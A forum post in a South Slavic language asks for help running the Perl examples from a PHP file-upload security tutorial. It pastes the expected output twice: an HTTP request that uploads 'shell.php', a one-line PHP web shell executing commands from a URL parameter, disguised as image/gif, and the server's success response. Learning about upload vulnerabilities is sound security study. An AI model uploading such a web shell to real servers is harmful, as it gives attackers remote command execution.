Trenutno čitam ovaj tutorial http://www.scanit.be/uploads/php-file-upload.pdf Skinuo sam ActivePerl verziju sa interneta ali ne mogu da podesim da namjestim i isprobam ove primjere.
Npr. kada ukucam ime fajla npr (perl upload3.pl) izlista mi skroz drugačiji rezultat nego kao što je u ovom tutorijalu.Neke skripte neće uopšte da mi pokrene.
Uzeću kao primjer ovaj 3ći po redu.
Evo koda koji bi trebao dobiti nakon što pokrenem skriptu u Perlu
Code:
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
<?php
system($_GET['command']);
?>
--xYzZY--
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
<pre>File is valid, and was successfully uploaded.
</pre>
Ali ja dobijem ovo
http://img801.imageshack.us/i/perl.jpg/
Molio bih za pomoć i savjete. Hvala